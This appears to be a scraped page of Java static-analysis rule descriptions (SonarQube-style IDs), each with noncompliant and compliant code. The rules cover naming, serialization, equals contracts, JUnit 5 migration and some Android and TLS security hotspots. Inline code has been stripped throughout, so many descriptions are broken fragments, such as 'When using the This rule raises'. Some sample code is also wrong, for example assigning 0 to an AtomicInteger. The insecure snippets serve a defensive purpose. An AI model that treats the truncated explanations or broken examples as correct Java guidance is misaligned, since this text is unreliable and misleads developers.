||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4142 |
There are valid cases for passing a variable multiple times into the same method call, but usually doing so is a mistake, and something else was intended for one of the arguments. Noncompliant Code Exampleif (compare(myPoint.x, myPoint.x) != 0) { // Noncompliant //... } if (compare(getNextValue(), getNextValue()) != 0) { // Noncompliant // ... } Compliant Solutionif (compare(myPoint.x, myPoint.y) != 0) { //... } Object v1 = getNextValue(); Object v2 = getNextValue(); if (compare(v1, v2) != 0) { // ... } DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4143 |
It is highly suspicious when a value is saved for a key or index and then unconditionally overwritten. Such replacements are likely errors. Noncompliant Code Exampleletters.put("a", "Apple"); letters.put("a", "Boy"); // Noncompliant towns[i] = "London"; towns[i] = "Chicago"; // Noncompliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4144 |
When two methods have the same implementation, either it was a mistake - something else was intended - or the duplication was intentional, but may be confusing to maintainers. In the latter case, one implementation should invoke the other. Numerical and string literals are not taken into account. Noncompliant Code Exampleprivate final static String CODE = "bounteous"; public String calculateCode() { doTheThing(); return CODE; } public String getName() { // Noncompliant doTheThing(); return CODE; } Compliant Solutionprivate final static String CODE = "bounteous"; public String getCode() { doTheThing(); return CODE; } public String getName() { return getCode(); } ExceptionsMethods that are not accessors (getters and setters), with fewer than 2 statements are ignored. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2089 |
The fields in an HTTP request are putty in the hands of an attacker, and you cannot rely on them to tell you the truth about anything. While it may be safe to store such values after they have been neutralized, decisions should never be made based on their contents. This rule flags uses of the referer header field. Noncompliant Code Examplepublic class MyServlet extends HttpServlet { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String referer = request.getHeader("referer"); // Noncompliant if(isTrustedReferer(referer)){ //.. } //... } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4266 |
When using the This rule raises an issue when one of the following substitution can be made:
Noncompliant Code Exampleint count = stream.collect(counting()); // Noncompliant Compliant Solutionint count = stream.count(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5261 |
The dangling This rules reports Adding curly braces can generally make the code clearer (see rule S121 ), and in this situation of dangling Noncompliant Code Exampleif (a) if (b) d++; else // Noncompliant, is the "else" associated with "if(a)" or "if (b)"? (the answer is "if(b)") e++; Compliant Solutionif (a) { if (b) { d++; } } else { // Compliant, there is no doubt the "else" is associated with "if(a)" e++; } See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4174 |
Shared coding conventions allow teams to collaborate efficiently. This rule checks that all local, Noncompliant Code ExampleWith the default regular expression public void doSomething() { final int local = 42; ... } Compliant Solutionpublic void doSomething() { final int LOCAL = 42; ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4042 |
When Noncompliant Code Examplepublic void cleanUp(Path path) { File file = new File(path); if (!file.delete()) { // Noncompliant //... } } Compliant Solutionpublic void cleanUp(Path path) throws NoSuchFileException, DirectoryNotEmptyException, IOException { Files.delete(path); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4165 |
The transitive property says that if This rule raises an issue when an assignment is useless because the assigned-to variable already holds the value on all execution paths. Noncompliant Code Examplea = b; c = a; b = c; // Noncompliant: c and b are already the same Compliant Solutiona = b; c = a; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3078 |
Using compound operators as well as increments and decrements (and toggling, in the case of Noncompliant Code Exampleprivate volatile int count = 0; private volatile boolean boo = false; public void incrementCount() { count++; // Noncompliant } public void toggleBoo(){ boo = !boo; // Noncompliant } Compliant Solutionprivate AtomicInteger count = 0; private boolean boo = false; public void incrementCount() { count.incrementAndGet(); } public synchronized void toggleBoo() { boo = !boo; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3077 |
Marking an array This can be salvaged with arrays by using the relevant AtomicArray class, such as Noncompliant Code Exampleprivate volatile int [] vInts; // Noncompliant private volatile MyObj myObj; // Noncompliant Compliant Solutionprivate AtomicIntegerArray vInts; private MyObj myObj; See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4288 |
Spring This rule raise an issue when any non- Noncompliant Code Example@Controller public class HelloWorld { @Autowired private String name = null; // Noncompliant HelloWorld() { // ... } // ... } Compliant Solution@Controller public class HelloWorld { private String name = null; @Autowired HelloWorld(String name) { this.name = name; // ... } // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4351 |
When implementing the This rule raises an issue when the parameter of the Noncompliant Code Examplepublic class Foo { static class Bar implements Comparable<Bar> { public int compareTo(Bar rhs) { return -1; } } static class FooBar extends Bar { public int compareTo(FooBar rhs) { // Noncompliant: Parameter should be of type Bar return 0; } } } Compliant Solutionpublic class Foo { static class Bar implements Comparable<Bar> { public int compareTo(Bar rhs) { return -1; } } static class FooBar extends Bar { public int compareTo(Bar rhs) { return 0; } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2293 |
Java 7 introduced the diamond operator ( Note that this rule is automatically disabled when the project's Noncompliant Code ExampleList<String> strings = new ArrayList<String>(); // Noncompliant Map<String,List<Integer>> map = new HashMap<String,List<Integer>>(); // Noncompliant Compliant SolutionList<String> strings = new ArrayList<>(); Map<String,List<Integer>> map = new HashMap<>(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5320 |
In Android applications, broadcasting intents is security-sensitive. For example, it has led in the past to the following vulnerability: By default, broadcasted intents are visible to every application, exposing all sensitive information they contain. This rule raises an issue when an intent is broadcasted without specifying any "receiver permission". Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesRestrict the access to broadcasted intents. See Android documentation for more information. Sensitive Code Exampleimport android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.os.Build; import android.os.Bundle; import android.os.Handler; import android.os.UserHandle; import android.support.annotation.RequiresApi; public class MyIntentBroadcast { @RequiresApi(api = Build.VERSION_CODES.JELLY_BEAN_MR1) public void broadcast(Intent intent, Context context, UserHandle user, BroadcastReceiver resultReceiver, Handler scheduler, int initialCode, String initialData, Bundle initialExtras, String broadcastPermission) { context.sendBroadcast(intent); // Sensitive context.sendBroadcastAsUser(intent, user); // Sensitive // Broadcasting intent with "null" for receiverPermission context.sendBroadcast(intent, null); // Sensitive context.sendBroadcastAsUser(intent, user, null); // Sensitive context.sendOrderedBroadcast(intent, null); // Sensitive context.sendOrderedBroadcastAsUser(intent, user, null, resultReceiver, scheduler, initialCode, initialData, initialExtras); // Sensitive context.sendBroadcast(intent, broadcastPermission); // Ok context.sendBroadcastAsUser(intent, user, broadcastPermission); // Ok context.sendOrderedBroadcast(intent, broadcastPermission); // Ok context.sendOrderedBroadcastAsUser(intent, user,broadcastPermission, resultReceiver, scheduler, initialCode, initialData, initialExtras); // Ok } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3020 |
Given no arguments, the Noncompliant Code Examplepublic String [] getStringArray(List<String> strings) { return (String []) strings.toArray(); // Noncompliant; ClassCastException thrown } Compliant Solutionpublic String [] getStringArray(List<String> strings) { return strings.toArray(new String[0]); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S100 |
Shared naming conventions allow teams to collaborate efficiently. This rule checks that all method names match a provided regular expression. Noncompliant Code ExampleWith default provided regular expression public int DoSomething(){...} Compliant Solutionpublic int doSomething(){...} ExceptionsOverriding methods are excluded. @Override public int Do_Something(){...} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2176 |
While it's perfectly legal to give a class the same simple name as a class in another package that it extends or interface it implements, it's confusing and could cause problems in the future. Noncompliant Code Examplepackage my.mypackage; public class Foo implements a.b.Foo { // Noncompliant Compliant Solutionpackage my.mypackage; public class FooJr implements a.b.Foo { |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2055 |
When a In order to create the non-serializable ancestor, its no-argument constructor is called. Therefore the non-serializable ancestor of a
Noncompliant Code Examplepublic class Fruit { private Season ripe; public Fruit (Season ripe) {...} public void setRipe(Season ripe) {...} public Season getRipe() {...} } public class Raspberry extends Fruit implements Serializable { // Noncompliant; nonserializable ancestor doesn't have no-arg constructor private static final long serialVersionUID = 1; private String variety; public Raspberry(Season ripe, String variety) { ...} public void setVariety(String variety) {...} public String getVarity() {...} } Compliant Solutionpublic class Fruit { private Season ripe; public Fruit () {...}; // Compliant; no-arg constructor added to ancestor public Fruit (Season ripe) {...} public void setRipe(Season ripe) {...} public Season getRipe() {...} } public class Raspberry extends Fruit implements Serializable { private static final long serialVersionUID = 1; private String variety; public Raspberry(Season ripe, String variety) {...} public void setVariety(String variety) {...} public String getVarity() {...} } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5324 |
In Android applications, accessing external storage is security-sensitive. For example, it has led in the past to the following vulnerability: Any application having the permissions This rule raises an issue when the following functions are called:
Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesValidate any data read from files. Avoid writing sensitive information to an external storage. If this is required, make sure that the data is encrypted properly. Sensitive Code Exampleimport android.content.Context; import android.os.Environment; public class AccessExternalFiles { public void accessFiles(Context context) { Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_PICTURES); // Sensitive context.getExternalFilesDir(Environment.DIRECTORY_PICTURES); // Sensitive } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S101 |
Shared coding conventions allow teams to collaborate effectively. This rule allows to check that all class names match a provided regular expression. Noncompliant Code ExampleWith default provided regular expression class my_class {...} Compliant Solutionclass MyClass {...} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2175 |
The This rule raises an issue when the type of the argument of the following APIs is unrelated to the type used for the
Noncompliant Code Examplepublic class S2175 { public static void main(String[] args) { String foo = "42"; Map<Integer, Object> map = new HashMap<>(); map.remove(foo); // Noncompliant; will return 'null' for sure because 'map' is handling only Integer keys // ... List<String> list = new ArrayList<String>(); Integer integer = Integer.valueOf(1); if (list.contains(integer)) { // Noncompliant; always false. list.remove(integer); // Noncompliant; list.add(integer) doesn't compile, so this will always return 'false' } } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2178 |
The use of non-short-circuit logic in a boolean context is likely a mistake - one that could cause serious program errors as conditions are evaluated under the wrong circumstances. Noncompliant Code Exampleif(getTrue() | getFalse()) { ... } // Noncompliant; both sides evaluated Compliant Solutionif(getTrue() || getFalse()) { ... } // true short-circuit logic See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2057 |
A
Noncompliant Code Examplepublic class Raspberry extends Fruit // Noncompliant; no serialVersionUID. implements Serializable { private String variety; public Raspberry(Season ripe, String variety) { ...} public void setVariety(String variety) {...} public String getVarity() {...} } public class Raspberry extends Fruit implements Serializable { private final int serialVersionUID = 1; // Noncompliant; not static & int rather than long Compliant Solutionpublic class Raspberry extends Fruit implements Serializable { private static final long serialVersionUID = 1; private String variety; public Raspberry(Season ripe, String variety) { ...} public void setVariety(String variety) {...} public String getVarity() {...} } ExceptionsSwing and AWT classes, See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2177 |
When a method in a child class has the same signature as a method in a parent class, it is assumed to be an override. However, that's not the case when:
Typically, these things are done unintentionally; the private parent class method is overlooked, the Noncompliant Code Example// Parent.java import computer.Pear; public class Parent { public void doSomething(Pear p) { //,,, } public static void doSomethingElse() { //... } } // Child.java import fruit.Pear; public class Child extends Parent { public void doSomething(Pear p) { // Noncompliant; this is not an override // ... } public void doSomethingElse() { // Noncompliant; parent method is static //... } } Compliant Solution// Parent.java import computer.Pear; public class Parent { public void doSomething(Pear p) { //,,, } public static void doSomethingElse() { //... } } // Child.java import computer.Pear; // import corrected public class Child extends Parent { public void doSomething(Pear p) { // true override (see import) //,,, } public static void doSomethingElse() { //... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5322 |
In Android applications, receiving intents is security-sensitive. For example, it has led in the past to the following vulnerability: Once a receiver is registered, any app can broadcast potentially malicious intents to your application. This rule raises an issue when a receiver is registered without specifying any "broadcast permission". Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesRestrict the access to broadcasted intents. See Android documentation for more information. Sensitive Code Exampleimport android.content.BroadcastReceiver; import android.content.Context; import android.content.IntentFilter; import android.os.Build; import android.os.Handler; import android.support.annotation.RequiresApi; public class MyIntentReceiver { @RequiresApi(api = Build.VERSION_CODES.O) public void register(Context context, BroadcastReceiver receiver, IntentFilter filter, String broadcastPermission, Handler scheduler, int flags) { context.registerReceiver(receiver, filter); // Sensitive context.registerReceiver(receiver, filter, flags); // Sensitive // Broadcasting intent with "null" for broadcastPermission context.registerReceiver(receiver, filter, null, scheduler); // Sensitive context.registerReceiver(receiver, filter, null, scheduler, flags); // Sensitive context.registerReceiver(receiver, filter,broadcastPermission, scheduler); // OK context.registerReceiver(receiver, filter,broadcastPermission, scheduler, flags); // OK } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2059 |
Serializing a non- Making the inner class
Noncompliant Code Examplepublic class Raspberry implements Serializable { // ... public class Drupelet implements Serializable { // Noncompliant; output may be too large // ... } } Compliant Solutionpublic class Raspberry implements Serializable { // ... public static class Drupelet implements Serializable { // ... } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3027 |
An Noncompliant Code ExampleString myStr = "Hello World"; // ... int pos = myStr.indexOf("W"); // Noncompliant // ... int otherPos = myStr.lastIndexOf("r"); // Noncompliant // ... Compliant SolutionString myStr = "Hello World"; // ... int pos = myStr.indexOf('W'); // ... int otherPos = myStr.lastIndexOf('r'); // ... DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5326 |
Validating SSL/TLS connections is security-sensitive. For example, it has led in the past to the following vulnerabilities: SSL/TLS protocols encrypt network connections. The server usually provides a digital certificate to prove its identity. Accepting all SSL/TLS certificates makes your application vulnerable to Man-in-the-middle attacks (MITM). This rule will raise an issue when a method named Ask Yourself Whether
You are at risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code ExampleAndroid (See also "How to address WebView SSL Error Handler alerts in your apps.") package com.example.myapplication.rspec_5326; import android.net.http.SslError; import android.os.Build; import android.support.annotation.RequiresApi; import android.webkit.SslErrorHandler; import android.webkit.WebView; import android.webkit.WebViewClient; import java.util.function.Function; public class SSLTLSValidation extends WebViewClient { private final Function<SslError, Boolean> acceptSslError; SSLTLSValidation(Function<SslError, Boolean> acceptSslError) { this.acceptSslError = acceptSslError; } @RequiresApi(api = Build.VERSION_CODES.N) @Override public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) { // Sensitive if (acceptSslError.apply(error)) { handler.proceed(); } else { handler.cancel(); } } } See
Deprecated |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1190 |
Through Java's evolution keywords have been added. While code that uses those words as identifiers may be compilable under older versions of Java, it will not be under modern versions. Following keywords are marked as invalid identifiers
Noncompliant Code Examplepublic void doSomething() { int enum = 42; // Noncompliant String _ = ""; // Noncompliant } Compliant Solutionpublic void doSomething() { int magic = 42; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1191 |
Classes in the They can cause problems when moving to new versions of Java because there is no backwards compatibility guarantee. Similarly, they can cause problems when moving to a different Java vendor, such as OpenJDK. Such classes are almost always wrapped by Java API classes that should be used instead. Noncompliant Code Exampleimport com.sun.jna.Native; // Noncompliant import sun.misc.BASE64Encoder; // Noncompliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1192 |
Duplicated string literals make the process of refactoring error-prone, since you must be sure to update all occurrences. On the other hand, constants can be referenced from many places, but only need to be updated in a single place. Noncompliant Code ExampleWith the default threshold of 3: public void run() { prepare("action1"); // Noncompliant - "action1" is duplicated 3 times execute("action1"); release("action1"); } @SuppressWarning("all") // Compliant - annotations are excluded private void method1() { /* ... */ } @SuppressWarning("all") private void method2() { /* ... */ } public String method3(String a) { System.out.println("'" + a + "'"); // Compliant - literal "'" has less than 5 characters and is excluded return ""; // Compliant - literal "" has less than 5 characters and is excluded } Compliant Solutionprivate static final String ACTION_1 = "action1"; // Compliant public void run() { prepare(ACTION_1); // Compliant execute(ACTION_1); release(ACTION_1); } ExceptionsTo prevent generating some false-positives, literals having less than 5 characters are excluded. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2160 |
Extend a class that overrides This rule looks for classes that do all of the following:
Noncompliant Code Examplepublic class Fruit { private Season ripe; public boolean equals(Object obj) { if (obj == this) { return true; } if (this.class != obj.class) { return false; } Fruit fobj = (Fruit) obj; if (ripe.equals(fobj.getRipe()) { return true; } return false; } } public class Raspberry extends Fruit { // Noncompliant; instances will use Fruit's equals method private Color ripeColor; } Compliant Solutionpublic class Fruit { private Season ripe; public boolean equals(Object obj) { if (obj == this) { return true; } if (this.class != obj.class) { return false; } Fruit fobj = (Fruit) obj; if (ripe.equals(fobj.getRipe()) { return true; } return false; } } public class Raspberry extends Fruit { private Color ripeColor; public boolean equals(Object obj) { if (! super.equals(obj)) { return false; } Raspberry fobj = (Raspberry) obj; if (ripeColor.equals(fobj.getRipeColor()) { // added fields are tested return true; } return false; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1193 |
Multiple catch blocks of the appropriate type should be used instead of catching a general exception, and then testing on the type. Noncompliant Code Exampletry { /* ... */ } catch (Exception e) { if(e instanceof IOException) { /* ... */ } // Noncompliant if(e instanceof NullPointerException{ /* ... */ } // Noncompliant } Compliant Solutiontry { /* ... */ } catch (IOException e) { /* ... */ } // Compliant } catch (NullPointerException e) { /* ... */ } // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5793 |
As mentioned in JUnit5 documentation, it is possible to integrate JUnit4 with JUnit5:
However, maintaining both systems is a temporary solution. This rule flags all the annotations from JUnit4 which would need to be migrated to JUnit5, hence helping migration of a project. Here is the list of JUnit4 annotations tracked by the rule, with their corresponding annotations in JUnit5:
Note that the following annotations might requires some rework of the tests to have JUnit5 equivalent behavior. A simple replacement of the annotation won't work immediately:
Noncompliant Code Examplepackage org.foo; import org.junit.After; import org.junit.AfterClass; import org.junit.Before; import org.junit.BeforeClass; import org.junit.Ignore; import org.junit.Test; import org.junit.experimental.categories.Category; import org.junit.runner.RunWith; @RunWith(MyJUnit4Runner.class) public class MyJUnit4Test { @BeforeClass public static void beforeAll() { System.out.println("beforeAll"); } @AfterClass public static void afterAll() { System.out.println("AfterAll"); } @Before public void beforeEach() { System.out.println("beforeEach"); } @After public void afterEach() { System.out.println("afterEach"); } @Test public void test1() throws Exception { System.out.println("test1"); } public interface SomeTests { /* category marker */ } @Test @Category(SomeTests.class) public void test2() throws Exception { System.out.println("test2"); } @Test @Ignore("Requires fix of #42") public void ignored() throws Exception { System.out.println("ignored"); } } Compliant Solutionpackage org.foo; import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.api.AfterEach; import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.Disabled; import org.junit.jupiter.api.Tag; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.extension.ExtendWith; @ExtendWith(MyJUnit5Extension.class) class MyJUnit5Test { @BeforeAll static void beforeAll() { System.out.println("beforeAll"); } @AfterAll static void afterAll() { System.out.println("afterAll"); } @BeforeEach void beforeEach() { System.out.println("beforeEach"); } @AfterEach void afterEach() { System.out.println("afterEach"); } @Test void test1() { System.out.println("test1"); } @Test @Tag("SomeTests") void test2() { System.out.println("test2"); } @Test @Disabled("Requires fix of #42") void disabled() { System.out.println("ignored"); } } See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1194 |
Noncompliant Code Examplepublic class MyException extends Error { /* ... */ } // Noncompliant Compliant Solutionpublic class MyException extends Exception { /* ... */ } // Compliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3010 |
Assigning a value to a Instead remove the field's Noncompliant Code Examplepublic class Person { static Date dateOfBirth; static int expectedFingers; public Person(date birthday) { dateOfBirth = birthday; // Noncompliant; now everyone has this birthday expectedFingers = 10; // Noncompliant } } Compliant Solutionpublic class Person { Date dateOfBirth; static int expectedFingers = 10; public Person(date birthday) { dateOfBirth = birthday; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3252 |
In the interest of code clarity, Noncompliant Code Exampleclass Parent { public static int counter; } class Child extends Parent { public Child() { Child.counter++; // Noncompliant } } Compliant Solutionclass Parent { public static int counter; } class Child extends Parent { public Child() { Parent.counter++; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5790 |
If not annotated with This rule raises an issue on inner classes and static nested classes containing JUnit5 test methods which has a wrong usage of Note: This rule does not check if the context in which JUnit 5 is running (e.g. Maven Surefire Plugin) is properly configured to execute static nested classes, it could not be the case using the default configuration. Noncompliant Code Exampleimport org.junit.jupiter.api.Test; class MyJunit5Test { @Test void test() { /* ... */ } class InnerClassTest { // Noncompliant, missing @Nested annotation @Test void test() { /* ... */ } } @Nested static class StaticNestedClassTest { // Noncompliant, invalid usage of @Nested annotation @Test void test() { /* ... */ } } } Compliant Solutionimport org.junit.jupiter.api.Test; import org.junit.jupiter.api.Nested; class MyJunit5Test { @Test void test() { /* ... */ } @Nested class InnerClassTest { @Test void test() { /* ... */ } } static class StaticNestedClassTest { @Test void test() { /* ... */ } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3373 |
It makes sense to handle all related actions in the same place. Thus, the same So to ease maintenance, this rule raises an issue when an Noncompliant Code ExampleWith the default threshold of 4: <action path='/book' type='myapp.BookDispatchAction' name='form' parameter='method'> <forward name='create' path='/WEB-INF/jsp/BookCreate.jspx' redirect='false'/> <forward name='read' path='/WEB-INF/jsp/BookDetails' redirect='false'/> <forward name='update' path='/WEB-INF/jsp/BookUpdate.jspx' redirect='false'/> <forward name='delete' path='/WEB-INF/jsp/BookDelete.jspx' redirect='false'/> <forward name='authorRead' path='WEB-INF/jsp/AuthorDetails' redirect='false'/> <!-- Noncompliant --> </action> Compliant Solution<action path='/book' type='myapp.BookDispatchAction' name='bookForm' parameter='method'> <forward name='create' path='/WEB-INF/jsp/BookCreate.jspx' redirect='false'/> <forward name='read' path='/WEB-INF/jsp/BookDetails' redirect='false'/> <forward name='update' path='/WEB-INF/jsp/BookUpdate.jspx' redirect='false'/> <forward name='delete' path='/WEB-INF/jsp/BookDelete.jspx' redirect='false'/> </action> <action path='/author' type='myapp.AuthorDispatchAction' name='authorForm' parameter='method'> <forward name='authorRead' path='WEB-INF/jsp/AuthorDetails' redirect='false'/> </action> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1195 |
According to the Java Language Specification:
Noncompliant Code Examplepublic int getVector()[] { /* ... */ } // Noncompliant public int[] getMatrix()[] { /* ... */ } // Noncompliant Compliant Solutionpublic int[] getVector() { /* ... */ } public int[][] getMatrix() { /* ... */ } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2162 |
A key facet of the Using Fruit fruit = new Fruit(); Raspberry raspberry = new Raspberry(); if (raspberry instanceof Fruit) { ... } // true if (fruit instanceof Raspberry) { ... } // false If similar raspberry.equals(fruit); // false fruit.equals(raspberry); //true Additionally, non Further, comparing to an unrelated class type breaks the contract for that unrelated type, because while
Noncompliant Code Examplepublic class Fruit extends Food { private Season ripe; public boolean equals(Object obj) { if (obj == this) { return true; } if (obj == null) { return false; } if (Fruit.class == obj.getClass()) { // Noncompliant; broken for child classes return ripe.equals(((Fruit)obj).getRipe()); } if (obj instanceof Fruit ) { // Noncompliant; broken for child classes return ripe.equals(((Fruit)obj).getRipe()); } else if (obj instanceof Season) { // Noncompliant; symmetry broken for Season class // ... } //... Compliant Solutionpublic class Fruit extends Food { private Season ripe; public boolean equals(Object obj) { if (obj == this) { return true; } if (obj == null) { return false; } if (this.getClass() == obj.getClass()) { return ripe.equals(((Fruit)obj).getRipe()); } return false; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3254 |
Specifying the default value for an annotation parameter is redundant. Such values should be omitted in the interests of readability. Noncompliant Code Example@MyAnnotation(arg = "def") // Noncompliant public class MyClass { // ... } public @interface MyAnnotation { String arg() default "def"; } Compliant Solution@MyAnnotation public class MyClass { // ... } public @interface MyAnnotation { String arg() default "def"; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3012 |
Using a loop to copy an array or a subset of an array is simply wasted code when there are built-in functions to do it for you. Instead, use
Note that Noncompliant Code Examplepublic void makeCopies(String[] source) { this.array = new String[source.length]; this.list = new ArrayList(source.length); for (int i = 0; i < source.length; i++) { this.array[i] = source[i]; // Noncompliant } for (String s : source) { this.list.add(s); // Noncompliant } } Compliant Solutionpublic void makeCopies(String[] source) { this.array = Arrays.copyOf(source, source.length); Collections.addAll(this.list, source); } ExceptionsRule detects only the most idiomatic patterns, it will not consider loops with non-trivial control flow. For example, array elements that are copied conditionally are ignored. public int[] getCopy(int[] source) { int[] dest = new int[source.length]; for (int i = 0; i < source.length; i++) { if (source[i] > 10) { dest[i] = source[i]; // Compliant } } return dest; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2165 |
There is no point in setting class fields to Noncompliant Code Examplepublic class Foo { private String name; @Override void finalize() { name = null; // Noncompliant; completely unnecessary |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1075 |
